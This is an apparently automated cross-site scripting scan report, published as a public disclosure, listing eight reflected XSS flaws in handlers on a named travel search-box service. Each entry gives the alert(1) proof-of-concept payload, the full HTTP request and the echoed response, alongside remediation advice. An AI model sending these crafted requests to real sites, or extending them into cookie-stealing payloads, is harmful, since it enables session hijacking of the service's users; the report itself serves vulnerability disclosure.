Current Research | Full Disclosure | As of March 14, 2011
Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Sun Nov 14 16:17:26 CST 2010.
Cross Site Scripting Reports | Hoyt LLC Research
1. Cross-site scripting (reflected)
1.1. http://www2.travelsearchbox.com//Handlers/GetSearchBoxData.ashx [ClientKey parameter]
1.2. http://www2.travelsearchbox.com//Handlers/GetSearchBoxData.ashx [appPath parameter]
1.3. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [ClientKey parameter]
1.4. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [Mode parameter]
1.5. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [appPath parameter]
1.6. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [cu parameter]
1.7. http://www2.travelsearchbox.com//Handlers/GetSearchBoxJScript.ashx [ClientKey parameter]
1.8. http://www2.travelsearchbox.com//Handlers/GetSearchBoxJScript.ashx [appPath parameter]
1. Cross-site scripting (reflected)
There are 8 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www2.travelsearchbox.com//Handlers/GetSearchBoxData.ashx [ClientKey parameter]
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxData.ashx |
Issue detail
The value of the ClientKey request parameter is copied into a JavaScript inline comment. The payload 3f2d5*/alert(1)//ab1513ee64 was submitted in the ClientKey parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //Handlers/GetSearchBoxData.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d43f2d5*/alert(1)//ab1513ee64&Mode=HotelsSearchResults&ver=8.5.727.0-57&appPath=http://www.easyclicktravel.com:80/&ap=h&cwsn=EasyClickTravel&cwsa=&cu=en-US&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 13 Nov 2010 22:01:00 GMT
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 2888
function GetJSON(){ /*
Exception: System.Exception: System.Exception: The following GUID doesn't exist in SearchBoxClient table: d0e8a405-d39b-4935-b408-65ac6f7456d43f2d5*/alert(1)//ab1513ee64 or there was a problem during loading clients list and the list is empty.
at TGS.SearchBox.UIFacade.SearchBoxClientDetailsManager.GetSearchBoxClient(String clientGUIDKey) in d:\TS\TGSDistributed\S
...[SNIP]...
|
1.2. http://www2.travelsearchbox.com//Handlers/GetSearchBoxData.ashx [appPath parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxData.ashx |
Issue detail
The value of the appPath request parameter is copied into a JavaScript inline comment. The payload 91621*/alert(1)//588c8925f7b was submitted in the appPath parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //Handlers/GetSearchBoxData.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d4&Mode=HotelsSearchResults&ver=8.5.727.0-57&appPath=91621*/alert(1)//588c8925f7b&ap=h&cwsn=EasyClickTravel&cwsa=&cu=en-US&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 13 Nov 2010 22:01:00 GMT
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 900
function GetJSON(){ /*
Exception: System.ApplicationException: Error in getting data from handler with path: "http://www.easyclicktravel.com:8091621*/alert(1)//588c8925f7b/handlers/searchboxconfigurationhandler.ashx?cwsn=EasyClickTravel&cwsa=".
at TGS.SearchBox.UIFacade.SearchBoxConfigManager.GetSearchBoxConfig() in d:\TS\TGSDistributed\SearchBox-Dev-8.50-SP1\Source
...[SNIP]...
|
1.3. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [ClientKey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxHTML.ashx |
Issue detail
The value of the ClientKey request parameter is copied into a JavaScript inline comment. The payload afa27*/alert(1)//476705b08c6 was submitted in the ClientKey parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //Handlers/GetSearchBoxHTML.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d4afa27*/alert(1)//476705b08c6&Mode=HotelsSearchResults&ver=8.5.727.0-57&appPath=http://www.easyclicktravel.com:80/&ap=h&cwsn=EasyClickTravel&cwsa=&cu=en-US&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 13 Nov 2010 22:01:03 GMT
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 2890
function GetJSON(){ /*
Exception: System.Exception: System.Exception: The following GUID doesn't exist in SearchBoxClient table: d0e8a405-d39b-4935-b408-65ac6f7456d4afa27*/alert(1)//476705b08c6 or there was a problem during loading clients list and the list is empty.
at TGS.SearchBox.UIFacade.SearchBoxClientDetailsManager.GetSearchBoxClient(String clientGUIDKey) in d:\TS\TGSDistributed\S
...[SNIP]...
|
1.4. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [Mode parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxHTML.ashx |
Issue detail
The value of the Mode request parameter is copied into a JavaScript inline comment. The payload ac4a6*/alert(1)//90a4b2993aa was submitted in the Mode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //Handlers/GetSearchBoxHTML.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d4&Mode=HotelsSearchResultsac4a6*/alert(1)//90a4b2993aa&ver=8.5.727.0-57&appPath=http://www.easyclicktravel.com:80/&ap=h&cwsn=EasyClickTravel&cwsa=&cu=en-US&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 13 Nov 2010 22:01:03 GMT
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 1475
function GetJSON(){ /*
Exception: System.IO.FileNotFoundException: The following file was not found:
File name: 'http://www2.travelsearchbox.com:80//Design/ECTNewSearchBoxClient/HotelsSearchResultsac4a6*/alert(1)//90a4b2993aa/SearchBoxHTML.htm'
at TGS.SearchBox.UIFacade.SearchBoxHTMLBuilder.GetHTML(String path, String fileName) in d:\TS\TGSDistributed\SearchBox-Dev-8.50-SP1\Sources\Development\UIFacade\SearchBoxHTMLBui
...[SNIP]...
|
1.5. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [appPath parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxHTML.ashx |
Issue detail
The value of the appPath request parameter is copied into a JavaScript inline comment. The payload 35eac*/alert(1)//08ff9efe7e2 was submitted in the appPath parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //Handlers/GetSearchBoxHTML.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d4&Mode=HotelsSearchResults&ver=8.5.727.0-57&appPath=35eac*/alert(1)//08ff9efe7e2&ap=h&cwsn=EasyClickTravel&cwsa=&cu=en-US&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 13 Nov 2010 22:01:03 GMT
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 900
function GetJSON(){ /*
Exception: System.ApplicationException: Error in getting data from handler with path: "http://www.easyclicktravel.com:8035eac*/alert(1)//08ff9efe7e2/handlers/searchboxconfigurationhandler.ashx?cwsn=EasyClickTravel&cwsa=".
at TGS.SearchBox.UIFacade.SearchBoxConfigManager.GetSearchBoxConfig() in d:\TS\TGSDistributed\SearchBox-Dev-8.50-SP1\Source
...[SNIP]...
|
1.6. http://www2.travelsearchbox.com//Handlers/GetSearchBoxHTML.ashx [cu parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxHTML.ashx |
Issue detail
The value of the cu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4044"%3balert(1)//81f16c6631a was submitted in the cu parameter. This input was echoed as d4044";alert(1)//81f16c6631a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //Handlers/GetSearchBoxHTML.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d4&Mode=HotelsSearchResults&ver=8.5.727.0-57&appPath=http://www.easyclicktravel.com:80/&ap=h&cwsn=EasyClickTravel&cwsa=&cu=en-USd4044"%3balert(1)//81f16c6631a&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private, max-age=43200
Date: Sat, 13 Nov 2010 22:01:04 GMT
Content-Type: text/javascript; charset=utf-8
Last-Modified: Sat, 13 Nov 2010 22:01:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 35181
function GetJSON(){ return {isSuccess:true, Result:{SBHtml: "<table width=\"100%\" id=\"TGS_mainSBHolder\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\" > <tr> <td id=\"TGS_tabButtonsCon
...[SNIP]...
<\/table>", AppPath: "/", AppImgPath: "http://www2.travelsearchbox.com:80//Design/ECTNewSearchBoxClient/Images/en-USd4044";alert(1)//81f16c6631a/", TabButtonDetails: { Hotels: {tabName:"Hotels", contDivID:"TGS_sb_Hotels", imgID:"TGS_sb_hImg", tabImgOn:"hotelson.gif", tabImgOff:"hotelsoff.gif", tabTxt: "Hotels", isPcg: "False" } }, ActiveTab:
...[SNIP]...
|
1.7. http://www2.travelsearchbox.com//Handlers/GetSearchBoxJScript.ashx [ClientKey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxJScript.ashx |
Issue detail
The value of the ClientKey request parameter is copied into the HTML document as plain text between tags. The payload f632a<script>alert(1)</script>5279816ac67 was submitted in the ClientKey parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET //Handlers/GetSearchBoxJScript.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d4f632a<script>alert(1)</script>5279816ac67&Mode=HotelsSearchResults&ver=8.5.727.0-57&ap=h&appPath=http://www.easyclicktravel.com:80/&&cwsn=EasyClickTravel&cwsa=&cu=en-US&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 13 Nov 2010 22:01:04 GMT
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 2863
/*Exception: System.Exception: System.Exception: The following GUID doesn't exist in SearchBoxClient table: d0e8a405-d39b-4935-b408-65ac6f7456d4f632a<script>alert(1)</script>5279816ac67 or there was a problem during loading clients list and the list is empty.
at TGS.SearchBox.UIFacade.SearchBoxClientDetailsManager.GetSearchBoxClient(String clientGUIDKey) in d:\TS\TGSDistributed\S
...[SNIP]...
|
1.8. http://www2.travelsearchbox.com//Handlers/GetSearchBoxJScript.ashx [appPath parameter]
previous
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www2.travelsearchbox.com |
| Path: |
//Handlers/GetSearchBoxJScript.ashx |
Issue detail
The value of the appPath request parameter is copied into the HTML document as plain text between tags. The payload d845b<script>alert(1)</script>91a4063c226 was submitted in the appPath parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET //Handlers/GetSearchBoxJScript.ashx?ClientKey=d0e8a405-d39b-4935-b408-65ac6f7456d4&Mode=HotelsSearchResults&ver=8.5.727.0-57&ap=h&appPath=d845b<script>alert(1)</script>91a4063c226&&cwsn=EasyClickTravel&cwsa=&cu=en-US&aid=0 HTTP/1.1
Host: www2.travelsearchbox.com
Proxy-Connection: keep-alive
Referer: http://www.easyclicktravel.com/PageHotelSearchResults.aspx?showValResults=1&256284866=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AlteonP=3e45b8203e45b937baeebae1
|
Response
HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 13 Nov 2010 22:01:04 GMT
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 852
/*Exception: System.ApplicationException: Error in getting data from handler with path: "http://www.easyclicktravel.com:80d845b<script>alert(1)</script>91a4063c226/handlers/searchboxconfigurationhandler.ashx?cwsn=EasyClickTravel&cwsa=".
at TGS.SearchBox.UIFacade.SearchBoxConfigManager.GetSearchBoxConfig() in d:\TS\TGSDistributed\SearchBox-Dev-8.50-SP1\Source
...[SNIP]...
|
Report generated by XSS.CX at Sun Nov 14 16:17:26 CST 2010.